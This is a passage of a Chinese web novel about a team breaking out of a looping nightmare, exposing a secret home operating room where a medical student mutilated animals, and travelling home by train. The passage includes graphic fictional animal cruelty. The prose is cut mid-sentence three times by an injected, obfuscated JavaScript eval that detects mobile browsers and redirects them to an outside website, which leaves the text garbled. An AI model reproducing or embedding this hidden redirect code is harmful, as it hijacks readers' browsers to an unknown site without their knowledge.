所以,当四周陷入黑暗的虚无,正上方的床铺上多出一个人的重量之时,3号瞬间睁开了眼睛。 她从床底滑出,翻身抓住了床上之人的手腕。 即使现在世界一片漆黑,但以防万一她和1号2号约定,各自蒙住双眼,只留4号当作眼睛。 床上的人在被触碰之际就清醒了过来。 她开口的第一句话,就让3号明白,自己留下的线索足够有用,以至于夏烛4号比她们任何一个都提前摸清了真相。 她问得是。 “魉是谁?” 没有害怕眼前的处境,也没有质问这个和自己一模一样的人。 3号没有回答她,而是将她从床上拉起,来到了窗边,而后者竟然也没有怀疑和三号一起站上了窗沿。 即使没有一丝光亮,可是夜风依旧毫不吝啬地吹在她们脸上。与两人一窗之隔的窗沿上,站着同样用布条蒙着眼睛的一模一样的另外两个夏烛。 “现在,你是我们的眼睛了。” 三个夏烛的声音同时传来,这个刚刚醒来的4号,虽然没有参与过任何沟通,在听见自己坚定的声音传到耳边之际,也带着莫名的信任和勇气,牵着那只再熟悉不过的手于夜风中纵身一跃。 风声在耳边呼啸,十秒的时间似乎在下坠的过程中被无限拉长,充当眼睛的四号,或许是觉得自己身上带着某种奇怪的责任感,在急速下坠的期间拼命睁开了眼睛,试图为另外几人窥见真相。 黑暗在风中变形,日月星辰瞬间轮转,时空像一团混杂在一起的棉花糖被极致拉扯,象征希望的光亮正从幕布后面利剑一般刺出。 四个人同时落地,也许五脏六腑被挤压变形,也许全身大部分的骨头粉碎,无法言说的痛苦从四肢百骸升起,凡人之躯如此脆弱,但凡人之躯… 她们站了起来,成败一举,是来不及害怕的。 “去电梯!”有人大喊,分不清是几号。 “不用去电梯了。” 四号拉住身边的自己,对着东方的日出伸出手指。 阳光蘸取在她的指尖。 “我们已经来到新的循环世界了。” 奇迹是什么,是在自然规律和统计学层面绝无可能发生的事情。是结局已定,却能凭借超越凡人之躯的信仰精神强力改写,是知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026474|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可为而为之的勇气。 是人类的勇气。 四个夏烛相互搀扶,拖着残破如枯叶的身体,翻过窗台,穿过冰冷的病房,走出了这条熟悉的长廊。 唯一没有蒙住双眼的四号远远就看见那个背对着她们的身影,5号站在晨曦中,右手握着小剑,左手紧紧牵着赢惑的手,没有理会他惊恐的表情,无比坚定地站在血泊里,像是在等待什么。她们脚边躺着的全是熟悉的身影。 四号想起来,她在看见另一个自己留下的艾草香包后就迅速理清了一切,最后仅在三楼拐角的墙壁上用红药水留下的一句话。 “让他活下去。” 此刻赢惑好端端地站在大厅中,就说明5号明白了自己的意思。 无论如何,只要有两个人活着,这轮游戏就不会结束。 即使面对自己,4号也无法想象,要怀揣怎样的勇气,才能坚定地相信来自未知世界的一句虚无缥缈的指引,眼睁睁看着同伴一个个在面前倒下,而她能做的只有信任和等待。 4号松开了身边人的手,轻声说道:“就是这里了,正前方,不要命地跑过去吧。” 四个人带着无与伦比的默契,摆开手臂朝着5号的背影奔跑起来。离第五个自己越近,她们的身影就变得越淡,在阳光的照射下最终变成了烟雾般的轮廓。 站在原地的夏烛似乎感应到了什么,她强迫自己不要回头,而是再次用力握紧了手中的剑和那人的手。 就像是一场田径比赛,四个当之无愧的冠军会迎着清晨无比耀眼的阳光一起触碰希望的终点。她们纷纷握住了夏烛的肩膀,一瞬间,四个身影化成光线粒子散进阳光里,而前四轮循环的记忆潮水一般涌进了夏烛的身体。 “去吧。” 恍惚之间,她听到有声音在耳边说着,无比熟悉而又坚定。 夏烛眨了眨眼睛,再次调整好镜片在瞳孔中的位置。松开了握紧赢惑的手,双手握住剑柄,径直迈向血泊中静静躺着的某具尸体。 她将手中剑高举过头顶,那张熟悉又安详的脸让她感到无比恶心。 “游戏结束了。”她淡淡地说到,然后将小剑狠狠刺进了魉的胸膛。 窗外的阳光瞬间暴涨,似乎有巨大的影子从窗外一遍遍地掠过,在大厅中留下闪烁的光影,地面上浓稠的鲜血开始分流倒转,回到属于各自的躯体,刺眼的光斑穿过长廊在空荡的大厅中飞舞,急急忙忙地找到正确的身体最后注入其间。 包括那具躺在地板上的缝合怪尸体,竟然也在流光中慢慢缩小分化,最后变成了普普通通的三只小动物。 一条毛茸茸的小狗,耳朵长长的兔子,以及一只巴掌大的小鼠。 阳光暖洋洋地照在它们毫无生气,绵软的身体上。 “这是…怎么回事?”风枫第一个醒了过来,她的声音有种刚睡醒质感。还没有得到解答,所有循环中被杀的记忆都通通恢复。在片刻的怔愣后,她气鼓鼓地爬到夏烛身边,对着地面上的魉就是狠狠一脚。 其余人也陆陆续续地恢复记忆醒了过来,地面上的NPC尸体都化作烟尘钻出了窗户。 一切都有条不紊地恢复着。 “不对啊。”风枫盯着地上的魉,“没有石头,梦境还没结束吗?” 夏烛刚要开口,地上的尸体忽然睁开了眼睛,嘴角向上扯起一个恶心而诡异的笑。 “还是被你找到了。” 魉的声音鬼魅阴冷,仿佛呵在耳边。 62.圈(十) 地上的魉睁开眼睛的时候,整个世界的边缘开始发出强烈刺眼的白光,譬如某种昭然若揭的真相正在一点点渗透,夏烛紧紧盯着他,直到那具身体在白光中慢慢淡去。 “魉已经在梦中循环上百次了,我猜,他会在现世等我们的。” 风枫正在逐字分析夏烛说的意思,她刚从梦魇中醒来,记忆粗暴地钻进脑子里,思考能力在此刻显得迟钝。 现世等她们是什么意思? 她还没想清楚,就觉得眼前一白,意识再次消沉身体变得绵软,头往后一仰便倒在了冰凉的地板上。企图睁开眼睛,却总觉得有一层白膜覆在瞳孔上,她尝试动动手指,触到一片柔软。条件反射直接命令四肢,大脑还没分析明白上半身已经从地面上弹了起来,脑袋一阵刺痛。 “这是哪里?”她们入梦之前不是在天孙山脚下的招待所吗?随着视野慢慢变得清晰,她发现自己居然躺在一个陌生出租屋的地板上。同伴几人也都躺在不同的角落,正在陆陆续续醒来。 风枫扭动了一下身体,撑着地板的手再次摸到了某个柔软东西,她顺着指尖看去,就着微弱的光线看出地板上竟然随意散落着一堆动物的皮毛,是整张剥下来的,粉红色的内里还沾着没有来得及清洗的,早已干涸的血迹。 “什么东西?现代猎户?” “恐怕是个变态残忍的刽子手。” 风眠的声音从身后冷冷传来。 “第一次遇到那缝合怪我就觉得不对劲,什么人的欲望和执念会是一堆混杂动物呢?”风眠站了起来,开始小心翼翼地在房间中巡视,“没准是恐惧才对。” 风枫吸了吸鼻子,“你们有闻到什么味道吗?”空气中飘着一股淡淡的香味,闻起来像是某种空气清新剂的味道,甜丝丝的香味下面掩着让人头晕的化学试剂,还有一股说不上来的金属的味道。 “是血腥味。”嬴犽向一直坐在地上的风枫伸出了他那只完好的手,想将她从地上拉起来。虽然光滑的地板砖看上去被打扫的很是干净,这间出租屋甚至称得上一尘不染,可看到风枫裸露的脚踝贴住那块瓷砖,身体被一堆动物皮毛围着他就感到一阵眩晕,身体燥热,怒火中烧。 这里一定不简单,至少并非看上去如此普通。除了血腥味他还闻到了一股明显的腐肉的气息,屋内的每一件家具上都沾染上了。灰色的窗帘,茶几的玻璃,还有餐桌的桌脚,这股味道他再熟悉不过,曾经在某段时间如同一张隐形的密网日日夜夜地笼罩着他。 “所以,俺们不该是在天孙山吗?”风枫就着嬴犽的手站了起来。 “这里是魉在现世的家?”说话的是姬无愁,她站在窗边,低垂着眼睛看向自己手心凝结出的冰晶。 见状,风枫也赶紧从腰间的布包里掏出一粒种子捏在指尖,种子在她的念念有词下迅速破壳发芽。 “相力恢复了耶!” 一行六人,在这间狭小的出租屋里略显拥挤。 客厅和餐厅连在一起,餐厅旁边是厨房,进门的右手边还有一扇门,也许是卧室。夏烛握着剑走向那扇紧闭的门。 没有上锁,她轻轻一按门就开了。这间屋子确实是主人家的卧室,窗帘半掩着,窗外依旧是深夜,淡淡的月光透进房内却显得更加昏暗沉闷。相比普通卧室,这一间似乎有些太小了。靠窗的位置放着一张窄小的单人床,床尾立着木质书架和一张小书桌。 屋内的空气浑浊不流通,夏烛皱起眉头,踏进卧室。 赢惑不动声色地跟了进来。 书架上的书表明卧室主人也许是个医学生,桌面上还摆放着各式的奖章,看来他还是个优秀的学生。夏烛回想了一下,那人看起来不过20出头,也许仍然在校。 “这么小的房间,是人住的吗?”赢惑双手插兜晃到了床边,漫不经心地打量房内的每一样东西,嘴角挂着轻蔑的笑,似乎第一次见到普通人的世界。 他见夏烛转头看向自己,眉毛微微上挑,背部轻轻靠在了墙上。 “说实话我都快无法呼吸了,不是吗?”他抽出一只手,虚虚屈起手指,用关节敲击在墙面上。 墙体发出空空的声音。 “在老鼠洞一样的地方生活,也许会一些打洞的本领。” 夏烛意识到墙后面也许是空心的,她快速来到墙边,瞥了一眼旁边的赢惑。后者识趣地让开位置,认为自己并不适合做体力类的活。 夏烛沿着墙面摸索,最终在贴着白色肌理纹的墙纸上发现了一条细微的缝隙,缝隙沿着墙壁滑到了床头柜后面。她将小剑反握在手里,双手一起挪开了床头柜,原本遮挡的墙面露了出来,翘起的墙纸下方似乎藏着一扇门。 她只犹豫了一秒就用手里的剑划开了整面的墙纸,一扇隐形的就这样暴露在空气中。看得出这扇门经常开合,所以使用者才沿着门缝将墙纸割出极细的裂痕用于隐藏也方便使用。 动静将门外几人都吸引了过来。 “确实不简单啊,这里居然还藏有密室。”风枫兴致勃勃地凑到门前,将赢惑挤到更远的地方。 “啧。”赢惑发出不满地声音,被风枫一个厌恶的眼神瞪了回去。意思是我已经没有拿你跟踪我们入梦的事情发作了,识相的话就乖乖降低存在感吧。 这扇门为了隐形并不存在把手,只需要用点力气往里一推就是了。 在风枫期待的眼神下,夏烛推开了门,门后面不见天日的世界暴露在了众人的眼前。夏烛总算明白这间卧室为什么不合时宜的窄小。 因为主人家私自隔了一片区域,用作他残忍不可告人的秘密基地。 将墙壁上的电灯开关按亮,这里就是一间微型的手术室,中央立着不锈钢操作台,无影灯吊在头顶。墙壁上立着器械架,骨锯,钻头,止血钳各种工具一应俱全,洗手池的台面上放着一个透明的一次性水杯,一支注射器斜插在里面,针头还滴挂着粉红色的粘液,洗手池旁边,唯一的插线板连接着一个大型的冰柜。 除此之外这里清洁整齐干净到诡异,但那些只是掩盖事实的表象,好比一颗光洁艳红的苹果,一旦戳皮它脆软的表皮,腐绿的汁液混合着蛆虫就会流淌出来。 远离手术台的一侧抵着墙放着一张书桌和一把椅子。墙面上用羊毛毡板钉满了数不清的照片。姬无愁走了过去,看清了照片的内容,她原本垂在身体两侧的手突然紧握,夏烛听到她低声咒骂了一句什么。 不用去看,夏烛已经猜到了照片上是怎样的触目惊心,她径直走向立在一旁的冰柜,将柜门往上掀起。冰柜分为两个内室,她推开了左边的那一个。柜壁上结满细密的白霜,里面整整齐齐地码放着各种各样的动物尸体,都用塑料袋封存,贴上了标签。 夏烛眼神闪烁,从冰柜中取出一袋。 隔着寒气和霜雾能依稀辨认出袋中封存的是一只浅黄色绒毛不足月的小猫,它那双棕褐色的眼睛,玻璃珠一样结了一层白霜,在光线的流动中似乎还在湿润地盯着你。 夏烛觉得自己的喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033135|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管被一团不明的物质堵塞,她只能用力抵住上颚才能制住那种生理上的难受。 她的目光下移,停在了那张白色的便签上。 “流浪猫#5# 蠢玩意儿刚捡回来的那天下了大雨,给它擦干了毛喂了点牛奶就把我当主人了,走到哪里跟到哪里,就像沾到脚后跟上的一坨屎,黏得不行。 刚好,我把手术室的门一打开,它就乖乖跟了进来。 真蠢。 掐住它细细的脖子就像掐着一段软管,小畜生以为我在摸它,还伸出舌头舔我的手。这么瘦弱不把它带回来早晚也得被雨淹死。不如给它缝上一只大狗的身体。也算是给了它一身这辈子都长不齐全的肉。 倒刺扎得我好痛,舌头一起剪掉算了。 真蠢啊。” 夏烛拿着尸体袋子的手止不住的颤抖,标签上的字她都认识,但连在一起为什么看不懂了。她无法相信这些恶毒的自以为是高高在上的文字是一个正常的人类写下的。她也实在无法接受,这个世界上居然有一个生命能如此轻贱另一个生命。 甚至大言不惭地将自己比作造物主,似乎在不同物种的生物死后将它们打乱缝合就是一种慈悲的恩赐。 别开玩笑了,她死死盯着便签上的字。 不过是满足他们扭曲的控制欲,那些针脚细密的缝合线修补的也不过是施虐者破碎的自尊。 “人类,就是这么无知残忍。”赢惑的声音轻飘飘的传过来,夏烛放下手里的尸袋,转过头盯着他。他的眼神十分冷漠地游离在尸体中,最后慢慢移到了夏烛脸上。 “不是吗?人就是劣根性的产物,虚伪的道德标准只是掩盖他们弱肉强食原始肮脏的生存欲望。” 夏烛盯着他那张美丽到几乎妖艳的脸。 “你不是人吗?” 赢惑没有回答她,而是勾起嘴角,露出一个戏谑的表情。他隐藏的非常好,有那么几秒夏烛险些被他艳丽的笑容欺骗。 但她还是发现了,在她问出“你不是人吗?”这个问题的瞬间,一种隐秘地裂缝出现在赢惑这张极致完美的面具之上。 夏烛砰地一声关上了柜门。 “如果你真的这么想,那你和虐杀动物的人一样极端。所有的事物得用批判辩证的眼光去的,人类文明的本质就是在对抗劣性的战场上永远不停歇的脚步。” 她把这种现象叫做自我矫正。 “诚然,有些人卑劣可恨,根本不配拥有做人的权利。” 夏烛最后留给他一个淡漠的眼神。 “我不想在这个地方跟你讨论人的好坏。” 夏烛转过头去,脚步却忽然停下。 墙边半掩着的隐形门外,正站着一个黑色的身影,不知道它在那里站了多久,悄无声息如同鬼影,屋内一共有六个人但谁都没有发现它的存在。 银灰色的月光照不出黑影投在地板上的影子,它诡异地勾起嘴角,脖子缓缓前倾,将一张假面似的脸暴露在了月光下。 它的眼睛不会眨动,黑白分明的瞳孔像是蜡制的无法照进一丝光线。 这就是成型的魉,拥有和梦主一模一样的人类身躯。 姬无愁第一个注意到了夏烛僵直的身影,冰雪化刃被她悄然握在手里,顺着夏烛的视线盯着盲区内的阴影。 “好没礼貌…没有经过主人的同意…就随意进入人家的房间…” 一种令人难受的声音飘进手术室,像一扇被风吹响的旧门咯吱咯吱。 63.圈(完) 当然,很快,房间内的其他人都发现了黑影的存在。但是诡异的,没有人上前想与它抗衡一番。就连风枫,也只是站在原地,紧紧握着腰间装满种子的布包。 夏烛知道这种反应一定是不正常的,但她又说不上来为什么。只觉得那张似人非人的脸一瞬不瞬地盯着自己,寒气就从身后的冰柜中蔓延出来,爬上了她的脊椎。天花板上的无影灯光在与月色的对抗之下慢慢变成一种诡谲的桔红色,映满这间逼仄的手术室。 夏烛看着魉脸上那个诡异的笑容,意识到不反抗是对的。因为她已经无法再面对一次同伴悉数倒下的场面了。 那些破碎的器官,肌肉组织,熟悉的脸因为狰狞的表情和鲜血而变得陌生。地面上血流成河,河面上漂浮着温热细腻的断壁残肢。 她安慰自己不反抗是对的。 不反抗是对的。 那种所有人离她而去,世界陷入虚无的感觉,这辈子不想再体会一遍了。 夏烛僵在原地,可是身边的赢惑却在不知不觉中蹲了下去。她使劲转动脖子想要偏过头去看看他,却只能看到他颤动的脊背。 夏烛回过神来,恶狠狠地盯着门边一动不动的身影。 恐惧。 这个魍魉梦应该是天生相石吸收施虐者的恐惧形成的,梦主在梦中变成了那个反被缝合怪虐待追杀的人。反反复复无休止的折磨刚好给了魉足够多的时间成型。 而成型后的魉会接替梦主的身躯,拥有和梦境本质一样的力量。 所以,夏烛才会感到害怕,一遍又一遍地回想起每次循环的结尾,风枫她们在自己面前一次次的死去。 可是这个世界上,人人都会有恐惧。在魉的辐射之下,小队全都陷进了各自畏惧的幻象中。 即使意识到了这一点,夏烛沉重的身体也无法向前迈出一步,仅仅是握住小剑不让它落到地上就已经用尽了全身的力气。何况魉那副悚然的声嗓音蛊惑一般源源不断地钻进耳朵里。 它在夏烛耳边念着风枫风眠的名字,让她一遍遍回想起第一次见到兄妹二人的那天,却又在下一秒让她回到那间冰冷的停尸房,看着雾气里灰白的身体。 是啊,生命其实脆弱不堪。 她们和冰柜中被随意扼杀的动物又有什么区别呢? 她好不容易与这个世界有了连接,好不容易找到了某种支撑着继续走下去的勇气。梦里强撑的痛苦,在这一刻尽数加倍地涌进了夏烛的身体。 恐惧和孤单感像是一种致命的气体,无孔不入,灼烧着她的肺管和每一颗藏于体内刚刚分裂的细胞,让她痛不欲生,身体也开始像赢惑那样止不住地颤抖起来。 不能让她们去冒险的,否则,她又是一个人了。恍惚之间她回到了乡下那条长无尽头的小道。青山蜿蜒,流云似水,路的终点什么都没有。 夏烛不受控制地跪了下去,双手惯性撑在冰凉的地板上才不至于让她整个人都趴伏在魉的面前。 颈椎后似乎有什么重物压着她的头,她想努力抬起脸看一看周围的人也无法做到。眼前什么都没有,只有光滑的地砖隐隐透过自己的面孔。 她似乎听到了有谁在黑暗中小声的抽泣,心口立刻爬上了细细密密的酸痒。 是谁呢?这个哭声,从前似乎听到过。可她无论如何都想不起来,身体无法动弹,双眼只能死死盯住地板上的一个点,然后慢慢失去焦距,黑暗凝成了一个熟悉的背影。 那个背影孤孤单单地站在战旗挥舞的万军之中。 虽然只是一个轮廓,但夏烛就是能莫名地从单薄的虚影中看出漩涡一般无尽的孤独,她试图去理解分析这样定义的动机,可是大脑像是生锈的齿轮无法转动,如果强行运转,斑斑锈迹就会因为磨损扑簌簌地落下,造成脑部细密不断的疼。 因为我们都是一样的人。 一个定论,像掷入平静湖面的浮标,自然而然地浮起,涟漪也阵阵。 忽然,那种颈部后方的重压感一瞬间被释放,桔红色的光线褪了下去,随着空气中一股泠冽的气息,她的头脑也立刻获得了清明。 夏烛猛地抬起头,怔怔地盯着门口,魉原本所在的位置只剩下一把深入地面的冰刃。一颗无比圣洁的白色菱石就这样漂浮在半空中,带着柔和如月光的光圈。 姬无愁轻轻上前,弯下腰去捡起地上的冰刃,她的脊背瘦弱,起伏的骨骼弯成一轮好看的弧线,像是会挥出银光的刀锋。她转动了一下手腕,转过头脸上露出不好意思的表情对着众人说:“它有点太吵了。” 夏烛垂下头,呼出一口气。 原来这个世界上,还是有人没有恐惧的吗? 这样想着她偏过眼睛,从发丝中偷偷往旁边看了一眼。那人还蹲在地上,整张脸都埋进膝盖里,黑色发尾从发白的指节和红宝石上扫过。 可怜巴巴,像一株被雨打风吹的花。 风枫盯着那颗白石,好奇地眨巴着眼睛。 “俺记得俺们进的是红色的梦啊?这怎么成了白色?” “也许是魉成型破梦,让这场的难度提升至了白色。”风眠伸出手将白石从空中取下,分为化六,一一交到大家手中。 他拿着石头的手也有些发抖,恐惧的破坏性实在太大,每个人都尽量掩盖着自己的脱力。 外间的卧室传来细微的动静,几人不动声色地交换了眼神,悄无声息地来到了门口。 半掩的窗帘透出微弱的光线铺在床铺上,一个身影慢慢显现出来,他睡眼惺忪,表情呆滞,仿佛刚从一个很长的梦中醒来。 余光突然瞥到墙上掩盖自己秘密的门洞大开,门后面六双眼睛正盯着自己。那人的五官惊恐地皱缩在一起。 “你们是谁!!” 没等他爬起来冲出门外,姬无愁一个手刀将其击晕。 未命名队伍1从书柜上那堆诘屈聱牙的专业书里翻到了一张校园卡。打包了秘密手术室里的照片和手写便签条,以及客厅的动物皮毛,装在盒子里一起匿名上交至了此人所在的学校。 等待他的无论是退学还是刑拘,都罪有应得。每一次对他人施加的伤害都一定会在滚滚不息的时间中得到相应的反击。 那句话说得好,正义或许会迟到,但一定会来。 天道在此事上也不会手软,所以侥幸之心不可有,好轮回总会降临在作恶之人的头上。 天光乍破,几个人匆匆忙忙准备赶往火车站乘车回到东山,一觉起来魉直接把她们转移到了千里之外,之前的路都白赶了,又得从头再来。 “打住打住。”风枫双手抱在胸前,眉头拧在一起,围在赢惑身边上下打量,“俺们要回家,这人为什么又狗皮膏药一样跟在后面。” 赢惑已经恢复了那副欠揍的嘴脸,好像片刻之前,那个被心中恐惧狠狠往脸上打了一巴掌的胆小鬼并不是他,双手一摊,也不看风枫眼睛只盯着夏烛。 “你们能收留别人,也好心收留收留我咯。”他轻飘飘地瞥了一眼一脸无辜的姬无愁,和一出门就全副武装戴着卫衣帽子的嬴犽,表示他口中的“别人”正是这两位,“我现在成了众矢之的,无处可去,再说了…” 赢惑伸出一根细长的手指,金灿灿的矿石就悬在他指尖。 “再说了,人跟人之间不就是利益往来嘛,我能为你们提供经济上的支持,正好改善改善,穷苦生活。”说完他才舍得将眼神从夏烛身上挪开,从头到脚地打量了一下风枫。 风枫气得炸毛,她能是那种为五斗米折腰,被金钱所惑的人吗! “休想!没门!”她双手叉腰,气势两米高,恨不得用头将自以为是的赢惑给顶飞出去。 “好啊。”一直默不作声的夏烛突然开口,在风枫吃屎般的表情下就这么接纳了这只丧家犬。 糟糕,她不是那种人,但阿烛好像是... 几人一起走进因为太早还显得冷清的火车站。风枫走在队伍最后面,盯着夏烛身边那个碍眼的身影,决定无论如何得让他付出点代价。 经济支持吗,有点意思。 “等一下!”风枫大人一嗓子叫停了所有人。 “你。”她用下巴指着赢惑,“去吧,去那边给俺们买车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037872|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 票。”又用下巴指了指人工售票口。 赢惑不屑地发出一声冷笑,理了理袖口,长腿一迈两步就跨到了售票窗口。几人赶紧跟了过去,就见这货在众目睽睽之下从怀里掏出十根金条拍到了光滑的大理石台面上,手肘靠在一边,露出一个帅气无比的笑容,对着窗口里的工作人员。 “你好,六张票。” 一种诡异的死寂在七个人之间化开,不知道从哪里飞来的乌鸦绕着她们头顶飞了一圈,被嬴犽一把给拽了下来。 在工作人员看傻子一样的眼神下,赢惑觉得这几秒有一个世纪那么长,他精心设计的姿势快要坚持不住了,冷汗似乎从额角流了下来。 风枫忍无可忍,一把肘开了赢惑,对着工作人员露出一个不好意思的笑,几人赶紧退到一边。 “你不财神爷吗!没有现金,不也有那种掏出来就随便刷的至尊黑卡吗!掏一张出来给你风姐看看啊!” 赢惑一脸茫然地又从怀里掏出一根金条。 “这不是钱吗?”他每次掏出金条嬴家人就会屁颠颠地一路小跑过来,把他需要的所有东西都准备妥当,再极尽谄媚一番,把他说高兴了大把大把的金子就能从天而降。 风枫翻了个白眼。 “老大,你认真的吗?连我都知道金本位时代早就结束了!信用货币你有吗?可以流通可以存进银行卡里的那种!” “哦…”赢惑不自然地偏过头,那种东西这么多年过去他肯定积攒了不少,只是后来进了嬴家,就全部交给她们的人去打理了,钱对他来说没有直接的价值,虽然曾经有段时间他是有过收藏奢侈品的嗜好,但那是因为当下的风气使然,他手里的腕表啊珠宝啊越多,围在身边的人也就越多。 只是后来他已经不满足于那种安全感了。 “…”风枫泄气皮球一样耷拉着肩膀,怎么看赢惑怎么不顺眼,简直是一点价值都没有啊,“算了都掏掏裤兜凑凑钱吧,现在的高铁票可贵了。” “我来吧。”一直站在旁边不说话的姬无愁,居然从贴身的兜里掏出一台智能手机,在几道崇拜地眼神下点开了绿油油的付款码。 她不待在姬家的时候喜欢去到人类社会兼职打工,赚了一些钱,她猜想也许自己是队伍中唯一一个接触人类较多的,这种时候还是她出面比较好。 姬无愁像村里好不容易出来的大学生,盯着背后灼热的视线来到了售票窗口。 “哦对了。”她有些尴尬地回过头来,“你们的身份证。” 几人赶紧恢复了正常,开始全身上下的摸索那张小卡片,姬无愁一一接了过来,目光停在了表情呆滞的赢惑身上。 “你的呢?” “身..身份…”赢惑瞪着那双漂亮眼睛,下意识看向旁边面无表情的夏烛。 风枫得意地举着自己的身份证从他面前飘过,嘴里还念叨着“合法公民”。 就在此时,他身后裹得严严实实,手缩进袖子里,只露出一双眼睛的忧郁少年嬴犽也从卫衣兜里也掏出了一张薄薄的卡片递到姬无愁手里。 赢惑瞳孔放大,不可思议地盯着那张卡片,“不是!你、你、你凭什么也有身份!嬴丫!” 嬴犽将手收回兜里揣好,淡淡且固执地看了赢惑一眼。 “我叫嬴犽。”然后默默回到风枫身后站好,继续散发出生人勿进的气场。 赢惑有些失落地垂着头,小声嘀咕了一句,什么“时代已经变了”。虽然很轻,却还是被夏烛听进了耳朵里。 她接过姬无愁递过来的车票和身份证,放进口袋里,然后郑重其事地站到赢惑面前。 “你,跟着我进去。” 风枫的耳朵竖了起来,听到她这么一说赶紧过来接话。 “他怎么跟你进去?” 夏烛一脸认真地看向风枫,“逃票。” 风枫只觉得两眼一黑,天塌了!阿烛的底线怎么莫名其妙的消失不见了!她不是正义之士、道德护卫来的吗! 好吧,其实夏烛只是开开玩笑,她看到有人垂头丧气就会难受。 是这样的。 64.绿雾淙淙 流畅的车身和子弹形的车头,列车驶进站台和这个飞速发展的时代一起齐头并进。 不可思议,夏烛每当认真观摩起一样超现代化的发明,就会多一次这样的感叹。仿佛她是一个遥远时代穿越而来的年轻人,当她以为已经走在当下社会的最前端时,大城市的进步的号角就会吹得她耳清目明。 倒也不是乡下的小孩被摩登城市冲击,她感慨的是人类这个物种的智慧。 五个人靠在站台边的柱子旁等待列车停稳,尽管强打着精神也不免头重脚轻昏昏欲睡。夏烛的疲惫中却又带着点莫名的烦躁。她的眼睛老是在头顶的电网上飘来飘去。灰色的天空带着点朦胧的雾气。 这种烦躁直到走进车厢,找到自己的位置并坐下,隔着一个过道,那个手长脚长的身影勉强挤进座位里,才彻底消散。 “想知道我怎么进来的吗?”赢惑半个身子都靠哦在扶手上,往夏烛的方向微微倾斜,漂亮的手指间夹着一张浅蓝色的车票。 “并不想。”夏烛偏过头去,将视线转到窗外,靠窗坐的风枫已经闭上眼睛蜷缩在座位里了,她的睡意也汹涌袭来。 怎么睡着的,她也不知道,朦胧间车身摇晃,开始平稳前进,机械均衡的嗡鸣形成了一种天然的保护屏障。夏烛就在这种适宜的白噪音中安安稳稳地睡了一觉。 等她再睁开眼睛,车窗上起了一层水雾,山野的景致抽成流云似的色块,所在的这节车厢比刚上车的时候多了些人。她下意识地转过头,过道另一边的座位空空荡荡。 夏烛伸手捏了捏后颈,一段舒适的睡眠之后,大脑会变得迟钝,四肢也会短暂的绵软。她尽量小声地撑着扶手站了起来,列车没有停止,重心就会有些不稳。 人一多,空气或多或少会变得浑浊,她站起来只是想往一个冷清的地方置换一下肺里的氧气。前后都看了看,后面的车厢连接处露出几只行李箱的轮廓,于是她决定往前走。 摇摇晃晃地在过道上通行,夏烛觉得自己的身体机能也许有所退化,回去之后一定找时间勤加锻炼。灰白色的烟雾慢腾腾地从连接处飘出,她还没走到,一个刚刚熄灭烟头的陌生旅客就背对着她往前一个车厢走去。夏烛向自己的脚尖看了一眼,现在突然返回也许显得有点莫名其妙,所以她还是闷着头继续往前。 兜头烟烟雾雾一片叆叇,车窗边抬起一双灰色的眼睛。 他没头没尾地说了一句:“我可不抽这玩意儿,对肺不好。” 夏烛从消散的烟雾里看着赢惑的脸,见他没骨头似地靠在车门上,玻璃窗结了水雾,迷迷朦朦模糊了窗外面潮湿的水绿色草甸。 那些看不清的,污渍的痕迹反而梦一般将那人框在其中。烟雾明明已经散尽,可她还是看不真切赢惑的面容,只是闻到一股不可抵抗的绿,湿漉漉地绕在鼻尖。 她还是盯着他的脸,然后平静地问出那个问题。 “你没有进入循环吧。” “什么?”他懒散的抱在胳膊上的手指动了动,绯红的光闪进夏烛眼睛。 “从始至终,魍魉梦里都只有一个赢惑,你根本没有进入循环。” 赢惑没有马上回答,而是歪了歪头轻轻抵在玻璃窗上,夏烛以为他会狡辩,可是没有。 “果然很聪明嘛,别这样看着我。至少我舍身救了你几次,不是吗?” 夏烛微微偏过头,那颗鸽血红的宝石戒指发出的亮光实在刺眼,她只好勉强挪开视线,几个呼吸的调整后,她再次开口。 “所以现在,换我来问你,你到底是谁?” “凡事不是要讲究先来后到吗?这个问题似乎是我先问你的。” “…” “夏烛。”她轻声念出自己的名字。 赢惑笑了一下。 “原来是夏不是风。” “可惜。” “我还是赢惑。” 垂在身体两侧的手握成了拳头,毫不犹豫,夏烛抬手往赢惑那讨人厌的脸上来了一拳。 收回拳头,指关节有些隐隐作痛,夏烛张开手指活动活动,匆匆一眼从他脸上温热的血痕扫过。 “嘶——”赢惑抬手碰了碰自己的伤处,“吃火药长大的吗?” 一言不合就采用暴力。 “阿烛!你在这里做什么!”风枫醒来之后没见到夏烛,就过来找她。 “哦,来透透气。”夏烛面无表情地拉过风枫,没让她走到连接处。空气里都是二手烟,不能让小枫闻到。 